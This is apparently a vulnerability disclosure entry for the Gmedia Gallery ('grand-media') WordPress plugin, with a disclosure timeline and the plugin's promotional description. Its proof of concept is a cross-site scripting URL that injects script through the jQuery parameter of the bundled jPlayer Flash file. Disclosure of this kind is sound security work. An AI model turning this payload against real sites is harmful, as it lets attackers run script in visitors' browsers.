wp-plugin : grand-media

Plugin Details
Plugin Name: wp-plugin : grand-media
Effected Version : (and most probably lower version's if any)
Vulnerability : Components with Known Vulnerabilities
Identified by : prajalkulkarni
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :

http://localhost/wordpress/wp-content/wp-plugs/grand-media/assets/jplayer/Jplayer.swf?jQuery=%29%7Dcatch%28e%29%7B%7Dif%28!self.a%29self.a=!alert%28/1337day%20TUNISIAN%20CYBER/%29//


Disclosure Timeline
Vendor Contacted : 2013-12-26
Plugin Status : Updated on 2014-01-11
Public Disclosure : May 25, 2014
CVE Number :
Plugin Description :
[| Manage files, show image galleries and photo slideshows, play music on your site Gmedia Gallery plugin. Gmedia Library provides a comprehensive interface for handling galleries, image and audio files. With Gmedia plugin you can upload an unlimited number of photo and audio files, create dozens of galleries and playlists, group pictures and other files in albums, and add tags for each file. Handle any file format and link any files with images in few clicks. You can import images with captions from Worpress Media Library, Flagallery plugin and from NextGen Gallery plugin right to Gmedia Library. Create Slideshow Galleries with using tags and automatically add images to several galleries by assigning these tags to uploaded photos. Easily add related photos from Gmedia Library to the Post by using Add Media -> Gmedia Gallery tab MetaBox. One click for inserting image or gallery right in your page. Friendly for iPad and iPhone. Doesn’t slow down your website. **Unlimited galleries** on your website with **unlimited customizations** for each gallery. With our versatile plugin you can magically change the look and feel of your photo gallery, a huge selection of modules will help you embed the gallery in your posts and web pages making them feel complete. You will appreciate user friendly interface of admin panel, making the creation of unique and contemporary style gallery an easy and funny process, and attracting increasing attention from viewers. **[Home Page](http://codeasily.com/), [More Info and Screens](http://codeasily.com/wordpress-plugins/gmedia-gallery/), [Skins Portfolio](http://codeasily.com/portfolio/), [Support Forum](http://codeasily.com/community/forum/gmedia-gallery-wordpress-plugin/)** Gmedia Gallery is the result of hundreds of hours of working to bring you the ultimate photo managing tool. With a lot of features, flexible options and a wide range of customizations, editing and publishing galleries, Gmedia Gallery is a smart addition to any blogger's arsenal. Whether you're photographer or a blogger, you'll like the Gmedia Gallery plugin. See demo of Gmedia Gallery Modules: * [Afflux Module](http://codeasily.com/portfolio-item/gmedia-afflux/) with touch/swipe interface on mobile browsers. Multi-tab professional photo gallery module with autoslideshow feature. * [Phantom Module](http://codeasily.com/portfolio-item/gmedia-phantom/) is the Wall/Grid Gallery with social sharing - you can easily change thumbnail sizes, colors, navigation, borders, add stylish labels to thumbnails ... and much more. PhotoSwipe like theme on touch devices.. only better. * [PhotoBox Module](http://codeasily.com/portfolio-item/gmedia-photobox/) - a lightweight image gallery which uses only CSS3 for silky-smooth animations and transitions. * [Slider Module](http://codeasily.com/portfolio-item/gmedia-slider/) - shows your images in one line sliding them one by one + LightBox for big images & Link to other pages or files. * [Music Player Module](http://codeasily.com/portfolio-item/gmedia-music-player/) - beautiful audio player with playlist is totally written in jQuery and HTML5. * [Optima Module](http://codeasily.com/portfolio-item/gmedia-optima/) - is multi-tab premium gallery module with slideshow, background music support, views counter, image like button, etc. Help me make it best gallery plugin: test it and [write suggestions](http://codeasily.com/community/forum/gmedia-gallery-wordpress-plugin/) how it could be improved in feature versions. Features: * Mobile friendly, responsive galleries * Add tags, assign categories and group images in albums * Drag'n'drop sorting for files in Album * Easy bulk editing media files data with Edit Mode * Image Editor with Filters * Create many galleries with different options * Easily adding shortcode to post in one click * Easily adding images from Gmedia Library to post * Import Wordpress Media Library files * Uses WordPress' native Image Resizer * Import files from server folder or from others gallery plugins TODO List: * More modules for creating photo gallery, audio playlist, video playlist * Make Full Window Gallery Template (like GRAND Page in Flagallery) * Easily add to Post audio and video files with tags related to post tags * Intergration with social services * Watermark feature ]